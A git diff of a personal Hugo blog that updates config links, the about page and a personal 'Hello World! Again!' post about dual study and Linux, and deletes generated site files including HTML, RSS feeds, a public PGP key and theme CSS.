diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2637619 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +!public +public/* +!public/images + +*.lock diff --git a/config.toml b/config.toml index 465f7f3..cc7ab8f 100644 --- a/config.toml +++ b/config.toml @@ -18,7 +18,7 @@ favicon = "images/favicon.png" [params] author = "_N0x" - description = "Just some small blog" + description = "Just some small website" keywords = "blog,developer,personal" info = "» Here be dragons «" avatarurl = "images/spoopy.gif" @@ -55,7 +55,7 @@ favicon = "images/favicon.png" name = "Twitter" icon = "fa fa-twitter fa-2x" weight = 3 - url = "https://twitter.com/n0x_io" + url = "https://twitter.com/_n0tn0x" [[menu.main]] name = "Blog" @@ -73,7 +73,15 @@ favicon = "images/favicon.png" name = "Git" weight = 4 url = "https://git.n0x.io/" +#[[menu.main]] +# name = "PrivateBin" +# weight = 5 +# url = "https://pb.n0x.io/" [[menu.main]] - name = "PrivatBin" - weight = 5 - url = "https://pb.n0x.io/" + name = "FreshRSS" + weight = 6 + url = "https://frss.n0x.io/" +#[[menu.main]] +# name = "BitWarden" +# weight = 7 +# url = "https://bw.n0x.io/" diff --git a/content/about.md b/content/about.md index ea72bd3..9eaefa5 100644 --- a/content/about.md +++ b/content/about.md @@ -4,8 +4,8 @@ slug = "about" +++ ## Contact me -* E-Mail: tf[@]n0x.io [pgp](https://n0x.io/about/pgp) -* Twitter: [@n0x_io](https://twitter.com/n0x_io) +* E-Mail: tf[@]n0x.io +* Twitter: [@_n0tn0x](https://twitter.com/_n0tn0x) * GitLab: [n0x_io](https://gitlab.com/n0x_io) diff --git a/content/authors/_n0x/_index.md b/content/authors/_n0x/_index.md index 195b280..12b2f74 100644 --- a/content/authors/_n0x/_index.md +++ b/content/authors/_n0x/_index.md @@ -1,5 +1,5 @@ +++ name = "_N0x" -twitter = "@n0x_io" +#twitter = "@n0x_io" +++ _N0x is just a dude way to interested in anything computer related. Be it hardware, software, programming or even gaming. diff --git a/content/posts/HelloWorldAgain.md b/content/posts/HelloWorldAgain.md index 1243676..2765b73 100644 --- a/content/posts/HelloWorldAgain.md +++ b/content/posts/HelloWorldAgain.md @@ -1,6 +1,6 @@ +++ draft = false -date = 2021-05-26T11:14:07+02:00 +date = 2021-05-26T11:15:07+02:00 title = "Hello World! Again!" description = "" slug = "" @@ -17,19 +17,31 @@ Hey there! It’s me again. It has been some time since I wrote a new article in here so I thought I’d state an update on me. In my [first post]({{< ref "HelloWorld.md" >}} "first post") I talked a little about me. By now some time went by and some things have changed - not that I wrote much about me to begin with. ### From full time job to becoming a student +I'm now 23 years old and have just started my 4th semester at university, having decided that I wanted to study something related to computer science. After finishing my apprenticeship in 2018, I worked as a software developer for just over a year. In August 2019 I started my dual study in Software Technology (B.Sc.). A dual study is a study model here in Germany that allows you to go to university full-time during the semester, but you are still employed and paid by a company. There is no real break between semesters as you work full-time for your partner company. The idea is to get as much practical experience as possible during your studies. During these periods or work placements - which could be translated as 'practical periods' - you will work on a project in your company for which you will need to produce documentation. This documentation will in turn be evaluated by the university and credit points will be awarded accordingly. Oh, and all classes are compulsory and you can only choose some of them. Classes at the university are quite small, with a maximum of 25 people. This means that the whole university experience is more like going to school here in Germany - for better or worse. But it does mean that you actually have a face at the university and that networking between students and professors and other lecturers is quite easy. + +As you can see, the whole dual study thing is a very interwoven web between theory - in the form of what you think at university - and practice - in the form of a company you work for. I think it's a great concept, even if it means that you don't have the "luxury life" of a normal university student. Free time is rare, but well worth the effort, and I can only recommend this model to anyone who wants to educate themselves while getting some hands-on experience! + + ### Linux - bane of my existence - +Ah, Linux. My love. My hated enemy. I feel that many people's relationship with Linux is one of love-hate. There are times when I spend hours digging through config files, compiling, modifying and tinkering just to make the smallest, tiniest change. But damn does it feel good when you get control of things and understand how things work and interact with each other. Really rewarding and so much to learn! +In early 2021, I decided to finally cut my ties with Windoot and go all Linux. I had been running Linux on my servers and laptop for some time and had been playing around with all the fun Linux stuff. My current configuration is based on DWM and Arch Linux and I'm enjoying it very much. I also switched my desktop to Linux after realising that I was hardly playing any games on it. To my surprise, it went quite well and I haven't felt the need to go back to Windows since. I still use it at work, but there's not much I can do about it. Gaming works pretty well on Linux and I can even get games like Battle Field 4 to run - with anticheat! I don't think it's something I'd recommend to a heavy gamer, but for simple browsing and such, Linux seems to come along nicely - and for professionals in the field of computer science even more so ;) + ### Wörk wörk wörk +Combining the two above is where I currently work. I've developed quite an interest in tinkering with Linux, and this translates surprisingly well into my day-to-day work - when I'm not at university, of course. I'm now responsible for creating and maintaining the firmware for the popular embedded systems Linux Yocto. I'm also involved in some security aspects of development at work, but I won't go into that here. The symbiosis between my hobbies and my work is fascinating. Basically, I can use the skills I have learnt at home in the workplace and, in turn, learn new things there that I can use at home. A vicious circle, if you will. And that's why I really love my job and the work I do, even though I'm just a student. +And while I'm rambling on, I have to say that it's a bit sad to see how many people are not happy in their jobs or the work they do. I can only advise every single person out there to try and find a job that they like. It's such a valuable thing in life - or maybe that's just my inner German coming through. But, oh well. + So much for a little update… diff --git a/public/404.html b/public/404.html deleted file mode 100644 index 4f791b2..0000000 --- a/public/404.html +++ /dev/null @@ -1,181 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
-

404

-

Page Not Found

-

Sorry, this page does not exist.
You can head back to homepage.

-
-
- - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/about/index.html b/public/about/index.html deleted file mode 100644 index 7a18b0d..0000000 --- a/public/about/index.html +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - About n0x.io · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-
-
-

- - About n0x.io - -

-
- -

- Contact me - - - -

- -

- Build with Hugo - - - -

-

This Website is generated with Hugo using the Coder Theme

-

- License - - - -

-

Unless noted otherwise all content on this website is protected under Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)

-

This means you are free to share and adapt the content under the following terms:

-
    -
  • Share — copy and redistribute the material in any medium or format
  • -
  • Adapt — remix, transform, and build upon the material for any purpose, even commercially.
  • -
- -
-
- - - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/about/pgp b/public/about/pgp deleted file mode 100644 index 728bc69..0000000 --- a/public/about/pgp +++ /dev/null @@ -1,41 +0,0 @@ ------BEGIN PGP PUBLIC KEY BLOCK----- - -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 -CR6bT3I= -=0vL+ ------END PGP PUBLIC KEY BLOCK----- - diff --git a/public/authors/_n0x/index.html b/public/authors/_n0x/index.html deleted file mode 100644 index a19f03f..0000000 --- a/public/authors/_n0x/index.html +++ /dev/null @@ -1,212 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - Author: · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-

- Author: -

-

_N0x is just a dude way to interested in anything computer related. Be it hardware, software, programming or even gaming.

- - - - - - - - - -
- - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/authors/_n0x/index.xml b/public/authors/_n0x/index.xml deleted file mode 100644 index 10f8b73..0000000 --- a/public/authors/_n0x/index.xml +++ /dev/null @@ -1,52 +0,0 @@ - - - - n0x.io - https://n0x.io/authors/_n0x/ - Recent content on n0x.io - Hugo -- gohugo.io - de - Wed, 26 May 2021 11:14:07 +0200 - - Hello World! Again! - https://n0x.io/posts/helloworldagain/ - Wed, 26 May 2021 11:14:07 +0200 - - https://n0x.io/posts/helloworldagain/ - Hello World! Again! Hey there! It’s me again. -It has been some time since I wrote a new article in here so I thought I’d state an update on me. In my first post I talked a little about me. By now some time went by and some things have changed - not that I wrote much about me to begin with. -From full time job to becoming a student I’m now 23 years old and just started my 4th semester at university after deciding that I wanted to study something computer science related. - - - - Git in minutes - https://n0x.io/posts/gitbucket/ - Thu, 02 Jul 2020 00:00:00 +0200 - - https://n0x.io/posts/gitbucket/ - A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I discovered online. -For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs. - - - - Digispark Reverse-Shell - https://n0x.io/posts/digispark_reverseshell/ - Sat, 20 Jan 2018 17:03:46 +0100 - - https://n0x.io/posts/digispark_reverseshell/ - Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. - - - - HelloWorld - https://n0x.io/posts/helloworld/ - Mon, 08 Jan 2018 20:35:40 +0100 - - https://n0x.io/posts/helloworld/ - Hello World! Hello there and welcome on n0x.io! -I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;. I live in germany and Love tinkering with PCs and Software. -Thanks for stopping by ;) - - - - diff --git a/public/authors/_n0x/page/1/index.html b/public/authors/_n0x/page/1/index.html deleted file mode 100644 index f076852..0000000 --- a/public/authors/_n0x/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://n0x.io/authors/_n0x/ \ No newline at end of file diff --git a/public/authors/index.html b/public/authors/index.html deleted file mode 100644 index 983403d..0000000 --- a/public/authors/index.html +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - Authors · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-

- Authors -

- -
    - - - - - -
  • - - - 4 - -
  • - - -
-
- - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/authors/index.xml b/public/authors/index.xml deleted file mode 100644 index 7fcdcc6..0000000 --- a/public/authors/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - Authors on n0x.io - https://n0x.io/authors/ - Recent content in Authors on n0x.io - Hugo -- gohugo.io - de - Wed, 26 May 2021 11:14:07 +0200 - - - https://n0x.io/authors/_n0x/ - Wed, 26 May 2021 11:14:07 +0200 - - https://n0x.io/authors/_n0x/ - _N0x is just a dude way to interested in anything computer related. Be it hardware, software, programming or even gaming. - - - - diff --git a/public/categories/index.html b/public/categories/index.html deleted file mode 100644 index e7d592d..0000000 --- a/public/categories/index.html +++ /dev/null @@ -1,181 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - Categories · n0x.io - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- - -
- - - -
- -
-

- Categories -

- -
    - - -
-
- - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/categories/index.xml b/public/categories/index.xml deleted file mode 100644 index 6f5762e..0000000 --- a/public/categories/index.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - Categories on n0x.io - https://n0x.io/categories/ - Recent content in Categories on n0x.io - Hugo -- gohugo.io - de - - diff --git a/public/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css b/public/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css deleted file mode 100644 index 3861aee..0000000 --- a/public/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css +++ /dev/null @@ -1 +0,0 @@ -body.colorscheme-dark{color:#dadada;background-color:#212121}body.colorscheme-dark a{color:#42a5f5}body.colorscheme-dark h1,body.colorscheme-dark h2,body.colorscheme-dark h3,body.colorscheme-dark h4,body.colorscheme-dark h5,body.colorscheme-dark h6{color:#dadada}body.colorscheme-dark h1:hover .heading-link,body.colorscheme-dark h2:hover .heading-link,body.colorscheme-dark h3:hover .heading-link,body.colorscheme-dark h4:hover .heading-link,body.colorscheme-dark h5:hover .heading-link,body.colorscheme-dark h6:hover .heading-link{visibility:visible}body.colorscheme-dark h1 .heading-link,body.colorscheme-dark h2 .heading-link,body.colorscheme-dark h3 .heading-link,body.colorscheme-dark h4 .heading-link,body.colorscheme-dark h5 .heading-link,body.colorscheme-dark h6 .heading-link{color:#42a5f5;font-weight:inherit;text-decoration:none;font-size:80%;visibility:hidden}body.colorscheme-dark h1 .title-link,body.colorscheme-dark h2 .title-link,body.colorscheme-dark h3 .title-link,body.colorscheme-dark h4 .title-link,body.colorscheme-dark h5 .title-link,body.colorscheme-dark h6 .title-link{color:inherit;font-weight:inherit;text-decoration:none}body.colorscheme-dark code{background-color:#424242;color:#dadada}body.colorscheme-dark pre code{background-color:inherit;color:inherit}body.colorscheme-dark blockquote{border-left:2px solid #424242}body.colorscheme-dark table td,body.colorscheme-dark table th{border:2px solid #dadada}@media(prefers-color-scheme:dark){body.colorscheme-auto{color:#dadada;background-color:#212121}body.colorscheme-auto a{color:#42a5f5}body.colorscheme-auto h1,body.colorscheme-auto h2,body.colorscheme-auto h3,body.colorscheme-auto h4,body.colorscheme-auto h5,body.colorscheme-auto h6{color:#dadada}body.colorscheme-auto h1:hover .heading-link,body.colorscheme-auto h2:hover .heading-link,body.colorscheme-auto h3:hover .heading-link,body.colorscheme-auto h4:hover .heading-link,body.colorscheme-auto h5:hover .heading-link,body.colorscheme-auto h6:hover .heading-link{visibility:visible}body.colorscheme-auto h1 .heading-link,body.colorscheme-auto h2 .heading-link,body.colorscheme-auto h3 .heading-link,body.colorscheme-auto h4 .heading-link,body.colorscheme-auto h5 .heading-link,body.colorscheme-auto h6 .heading-link{color:#42a5f5;font-weight:inherit;text-decoration:none;font-size:80%;visibility:hidden}body.colorscheme-auto h1 .title-link,body.colorscheme-auto h2 .title-link,body.colorscheme-auto h3 .title-link,body.colorscheme-auto h4 .title-link,body.colorscheme-auto h5 .title-link,body.colorscheme-auto h6 .title-link{color:inherit;font-weight:inherit;text-decoration:none}body.colorscheme-auto code{background-color:#424242;color:#dadada}body.colorscheme-auto pre code{background-color:inherit;color:inherit}body.colorscheme-auto blockquote{border-left:2px solid #424242}body.colorscheme-auto table td,body.colorscheme-auto table th{border:2px solid #dadada}}body.colorscheme-dark .content .post .tags .tag{background-color:#424242}body.colorscheme-dark .content .post .tags .tag a{color:#dadada}body.colorscheme-dark .content .post .tags .tag a:active{color:#dadada}body.colorscheme-dark .content .list ul li .title{color:#dadada}body.colorscheme-dark .content .list ul li .title:hover,body.colorscheme-dark .content .list ul li .title:focus{color:#42a5f5}body.colorscheme-dark .content .centered .about ul li a{color:#dadada}body.colorscheme-dark .content .centered .about ul li a:hover,body.colorscheme-dark .content .centered .about ul li a:focus{color:#42a5f5}@media(prefers-color-scheme:dark){body.colorscheme-auto .content .post .tags .tag{background-color:#424242}body.colorscheme-auto .content .post .tags .tag a{color:#dadada}body.colorscheme-auto .content .post .tags .tag a:active{color:#dadada}body.colorscheme-auto .content .list ul li .title{color:#dadada}body.colorscheme-auto .content .list ul li .title:hover,body.colorscheme-auto .content .list ul li .title:focus{color:#42a5f5}body.colorscheme-auto .content .centered .about ul li a{color:#dadada}body.colorscheme-auto .content .centered .about ul li a:hover,body.colorscheme-auto .content .centered .about ul li a:focus{color:#42a5f5}}body.colorscheme-dark .notice .notice-title{border-bottom:1px solid #212121}@media(prefers-color-scheme:dark){body.colorscheme-auto .notice .notice-title{border-bottom:1px solid #212121}}body.colorscheme-dark .navigation a,body.colorscheme-dark .navigation span{color:#dadada}body.colorscheme-dark .navigation a:hover,body.colorscheme-dark .navigation a:focus{color:#42a5f5}@media only screen and (max-width:768px){body.colorscheme-dark .navigation .navigation-list{background-color:#212121;border-top:solid 2px #424242;border-bottom:solid 2px #424242}}@media only screen and (max-width:768px){body.colorscheme-dark .navigation .navigation-list .menu-separator{border-top:2px solid #dadada}}@media only screen and (max-width:768px){body.colorscheme-dark .navigation #menu-toggle:checked+label>i{color:#424242}}body.colorscheme-dark .navigation i{color:#dadada}body.colorscheme-dark .navigation i:hover,body.colorscheme-dark .navigation i:focus{color:#42a5f5}body.colorscheme-dark .navigation .menu-button i:hover,body.colorscheme-dark .navigation .menu-button i:focus{color:#dadada}@media(prefers-color-scheme:dark){body.colorscheme-auto .navigation a,body.colorscheme-auto .navigation span{color:#dadada}body.colorscheme-auto .navigation a:hover,body.colorscheme-auto .navigation a:focus{color:#42a5f5}}@media only screen and (prefers-color-scheme:dark) and (max-width:768px){body.colorscheme-auto .navigation .navigation-list{background-color:#212121;border-top:solid 2px #424242;border-bottom:solid 2px #424242}}@media only screen and (prefers-color-scheme:dark) and (max-width:768px){body.colorscheme-auto .navigation .navigation-list .menu-separator{border-top:2px solid #dadada}}@media only screen and (prefers-color-scheme:dark) and (max-width:768px){body.colorscheme-auto .navigation #menu-toggle:checked+label>i{color:#424242}}@media(prefers-color-scheme:dark){body.colorscheme-auto .navigation i{color:#dadada}body.colorscheme-auto .navigation i:hover,body.colorscheme-auto .navigation i:focus{color:#42a5f5}body.colorscheme-auto .navigation .menu-button i:hover,body.colorscheme-auto .navigation .menu-button i:focus{color:#dadada}}.taxonomy .taxonomy-element{background-color:#424242}.taxonomy .taxonomy-element a{color:#dadada}.taxonomy .taxonomy-element a:active{color:#dadada}body.colorscheme-dark .footer a{color:#42a5f5}@media(prefers-color-scheme:dark){body.colorscheme-auto .footer a{color:#42a5f5}}body.colorscheme-dark .float-container a{color:#dadada;background-color:#424242}body.colorscheme-dark .float-container a:hover,body.colorscheme-dark .float-container a:focus{color:#42a5f5}@media only screen and (max-width:768px){body.colorscheme-dark .float-container a:hover,body.colorscheme-dark .float-container a:focus{color:#dadada}}@media(prefers-color-scheme:dark){body.colorscheme-auto .float-container a{color:#dadada;background-color:#424242}body.colorscheme-auto .float-container a:hover,body.colorscheme-auto .float-container a:focus{color:#42a5f5}}@media only screen and (prefers-color-scheme:dark) and (max-width:768px){body.colorscheme-auto .float-container a:hover,body.colorscheme-auto .float-container a:focus{color:#dadada}} \ No newline at end of file diff --git a/public/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css b/public/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css deleted file mode 100644 index 158869f..0000000 --- a/public/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css +++ /dev/null @@ -1,6 +0,0 @@ -@charset "UTF-8";/*!normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css*/html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template{display:none}[hidden]{display:none}/*!Fork Awesome 1.2.0 -License - https://forkaweso.me/Fork-Awesome/license -Copyright 2018 Dave Gandy & Fork Awesome -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/@font-face{font-family:forkawesome;src:url(../fonts/forkawesome-webfont.eot?v=1.2.0);src:url(../fonts/forkawesome-webfont.eot?#iefix&v=1.2.0)format("embedded-opentype"),url(../fonts/forkawesome-webfont.woff2?v=1.2.0)format("woff2"),url(../fonts/forkawesome-webfont.woff?v=1.2.0)format("woff"),url(../fonts/forkawesome-webfont.ttf?v=1.2.0)format("truetype"),url(../fonts/forkawesome-webfont.svg?v=1.2.0#forkawesomeregular)format("svg");font-weight:400;font-style:normal;font-display:block}.fa{display:inline-block;font:14px/1 ForkAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o: